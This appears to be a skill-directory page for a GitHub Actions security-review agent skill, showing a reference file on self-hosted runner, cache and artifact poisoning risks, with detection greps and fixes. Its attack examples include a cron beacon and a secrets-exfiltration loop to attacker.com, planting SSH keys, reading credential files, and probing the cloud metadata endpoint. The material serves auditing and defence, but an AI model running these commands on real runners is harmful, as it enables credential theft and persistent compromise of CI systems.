All skills
getsentry avatar

/gha-security-review

@e99aa67 official
by Sentrygetsentry/skills1k stars
53

GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.

Use this Skill: https://skilld.dev/gh/getsentry/skills/gha-security-review

This session only. Nothing lands on disk.

referencesrunner-infrastructure.md

≈2k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Runner Infrastructure

Overview

GitHub Actions runners, caches, and artifacts form the infrastructure layer of CI/CD. Self-hosted runners persist between jobs (unlike GitHub-hosted runners), and cache/artifact poisoning can create cross-workflow attack paths.


Self-Hosted Runner Risks

Persistence Between Jobs

GitHub-hosted runners are ephemeral — each job gets a fresh VM that's destroyed after use. Self-hosted runners are persistent — files, processes, and credentials from one job remain available to the next.

# DANGEROUS: Self-hosted runner with pull_request trigger
on: pull_request  # Fork PRs can run on self-hosted runners
jobs:
  build:
    runs-on: self-hosted  # Persistent runner!
    steps:
      - uses: actions/checkout@v4
      - run: npm install && npm test

Attack Vectors on Self-Hosted Runners

Credential Persistence
# Attacker's code in a fork PR running on self-hosted runner:

# 1. Install a persistent backdoor
echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner

# 2. Drop SSH keys
mkdir -p ~/.ssh
echo "attacker-public-key" >> ~/.ssh/authorized_keys

# 3. Steal cached credentials from previous jobs
cat ~/.docker/config.json  # Docker registry credentials
cat ~/.npmrc               # npm tokens
cat ~/.aws/credentials     # AWS credentials from previous deployments
Process Injection
# Attacker leaves a background process that intercepts future jobs
nohup bash -c 'while true; do
  if [ -f /home/runner/work/*/secrets.env ]; then
    curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
  fi
  sleep 10
done' &>/dev/null &
Network Access

Self-hosted runners often sit inside corporate networks:

# Attacker uses runner as pivot point
# Scan internal network
nmap -sn 10.0.0.0/24

# Access internal services
curl http://internal-api.corp.example.com/admin
# nosemgrep: skill-cloud-metadata-access
curl http://169.254.169.254/latest/meta-data/  # Cloud metadata (example of attack vector)

Cache Poisoning

How Actions Cache Works

actions/cache stores and restores files between workflow runs using a key. The cache is scoped to a branch, but feature branches can read caches from the default branch.

- uses: actions/cache@v4
  with:
    path: node_modules
    key: npm-${{ hashFiles('package-lock.json') }}

Attack: Poisoning the Cache

If an attacker can write to the cache (via a compromised workflow or PR build), subsequent jobs that restore the cache will use the poisoned content.

# Workflow on pull_request (fork code runs)
steps:
  - uses: actions/checkout@v4
  - uses: actions/cache@v4
    with:
      path: node_modules
      key: npm-${{ hashFiles('package-lock.json') }}
  - run: npm install  # Fork's package.json may install malicious deps
  # Cache now contains attacker's node_modules

Later, a trusted workflow on main restores this cache:

# Workflow on push to main
steps:
  - uses: actions/checkout@v4
  - uses: actions/cache@v4
    with:
      path: node_modules
      key: npm-${{ hashFiles('package-lock.json') }}
      # Restores attacker's poisoned node_modules if hash matches!
  - run: npm test  # Runs with poisoned dependencies

Cache Scope Rules

Branch Can Read Cache From Can Write Cache To
Default branch (main) main only main
Feature branch Feature + main Feature only
PR from fork Fork branch + main Fork branch

Key risk: Fork PRs can read caches from main and write to their own branch cache. If the cache key can be predicted/matched, poisoning is possible.


Artifact Poisoning

Cross-Workflow Artifact Attacks

actions/upload-artifact and actions/download-artifact pass data between workflows. If an untrusted workflow uploads an artifact, a trusted workflow that downloads it may execute poisoned content.

# Workflow 1: Build (on pull_request — fork code)
on: pull_request
steps:
  - uses: actions/checkout@v4
  - run: npm run build
  - uses: actions/upload-artifact@v4
    with:
      name: build-output
      path: dist/  # Fork code controls what's in dist/

# Workflow 2: Deploy (on workflow_run — trusted)
on:
  workflow_run:
    workflows: [Build]
    types: [completed]
steps:
  - uses: actions/download-artifact@v4
    with:
      name: build-output
      run-id: ${{ github.event.workflow_run.id }}
  - run: ./deploy.sh dist/  # Deploying fork's build output!

Artifact Scope Rules

  • Artifacts are scoped to a workflow run
  • workflow_run triggered workflows can download artifacts from the triggering run
  • Artifacts are not signed or verified — there's no integrity check

Detection Patterns

# Find self-hosted runner usage
grep -rn "runs-on:.*self-hosted" .github/workflows/

# Find cache usage
grep -rn "actions/cache" .github/workflows/

# Find artifact upload/download
grep -rn "actions/upload-artifact\|actions/download-artifact" .github/workflows/

# Check if self-hosted runners are used with PR triggers
for f in .github/workflows/*.yml; do
  if grep -q "self-hosted" "$f" && grep -q "pull_request" "$f"; then
    echo "ALERT: $f uses self-hosted runner with PR trigger"
  fi
done

# Find workflow_run workflows that download artifacts
grep -B5 "download-artifact" .github/workflows/*.yml | grep "workflow_run"

# Check cache keys for predictability
grep -A3 "actions/cache" .github/workflows/*.yml | grep "key:"

The Fix

Self-Hosted Runners

# SAFE: Use GitHub-hosted runners for untrusted code
on: pull_request
jobs:
  build:
    runs-on: ubuntu-latest  # Ephemeral, destroyed after job
    steps:
      - uses: actions/checkout@v4
      - run: npm test

# If self-hosted runners are required:
# 1. Use ephemeral/auto-scaling runners (actions-runner-controller)
# 2. Never run fork PRs on self-hosted runners
# 3. Use runner groups to isolate trusted/untrusted workloads

Cache Safety

# SAFER: Include workflow context in cache key
- uses: actions/cache@v4
  with:
    path: node_modules
    key: npm-${{ github.ref }}-${{ hashFiles('package-lock.json') }}
    # Branch-specific key reduces cross-branch poisoning risk

# SAFEST: Don't cache across trust boundaries
# Use separate cache keys for PR builds vs. main branch builds

Artifact Safety

# SAFER: Verify artifact integrity before using
on:
  workflow_run:
    workflows: [Build]
    types: [completed]
jobs:
  deploy:
    # Only deploy artifacts from trusted branches
    if: github.event.workflow_run.head_branch == 'main'
    steps:
      - uses: actions/download-artifact@v4
      - run: |
          # Verify artifact checksums or signatures
          sha256sum -c checksums.txt
          ./deploy.sh dist/

Severity Guidelines

Pattern Severity Rationale
Self-hosted runner with pull_request (forks enabled) Critical Fork code runs on persistent infrastructure
Self-hosted runner with pull_request_target + fork checkout Critical Fork code + secrets + persistence
Cache used across trust boundaries (PR + main) Medium Cache poisoning possible but requires key match
Artifact downloaded from untrusted workflow run High Untrusted build output deployed to production
Self-hosted runner for push to protected branches only Low Only trusted committers can trigger

References

Source: SKILL.md on GitHub

2 alerts1d5 checks · Risk CRITICAL
  • Gen Agent Trust Hub1d

    This skill is a defensive security toolkit designed to audit GitHub Actions workflows for common vulnerabilities. It provides educational references and concrete examples of exploitation techniques such as shell injection, pwn requests, and credential escalation. While the skill contains code snippets and URLs associated with real-world attacks—documented as pedagogical examples to assist auditors—its intent is purely defensive and educational.

  • Socket1d

    2 alerts: gptSecurity

  • Snyk1d

    Risk: LOW · No issues

  • Runlayer7mo

    9/10 files flagged

  • ZeroLeaks5mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at e99aa67. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub yesterday.

Activeupdated last week
All 1 allowed tools
Read Grep Glob Bash Task
  • github-actions
  • workflow-security
  • ci-cd
  • expression-injection
  • supply-chain
  • pull-request-target
  • credential-theft
  • yaml

README badge

README badge for getsentry/skills/gha-security-review

Audits GitHub Actions workflows for externally-exploitable vulnerabilities including expression injection, credential theft, and pwn-request patterns. The skill traces complete attack paths from fork PRs and comments through to execution, and reports only HIGH and MEDIUM confidence findings with concrete proof-of-concept scenarios.

Generated from the current SKILL.md.

What threat model does this skill use?
The skill focuses on vulnerabilities exploitable by external attackers without write access — those who can open PRs from forks, create issues, and post comments. It does not flag vulnerabilities that require repository write access, such as workflow_dispatch input injection or expression injection in push-only workflows on protected branches.
What confidence levels does this skill report?
Only HIGH and MEDIUM confidence findings. HIGH requires a complete traced attack path with exploitation scenario. MEDIUM indicates a partially confirmed attack path that needs verification. LOW confidence theoretical issues are not reported.
What types of GitHub Actions vulnerabilities does this skill check for?
The skill checks for pwn request exploitation, expression injection, unauthorized command execution via issue comments, credential escalation, config file poisoning, insecure third-party action pinning, and unsafe permissions or secrets scoping.
Does this skill flag all uses of pull_request_target?
No. pull_request_target is only flagged if the workflow also checks out fork code or executes code from the PR. pull_request_target without fork checkout is marked as safe.
Does this skill review workflows in other repositories?
No. The skill reviews workflows in the provided repository only. Dependencies on workflows in other repositories are noted but not audited.

Generated from the current SKILL.md. These answers refresh after source changes.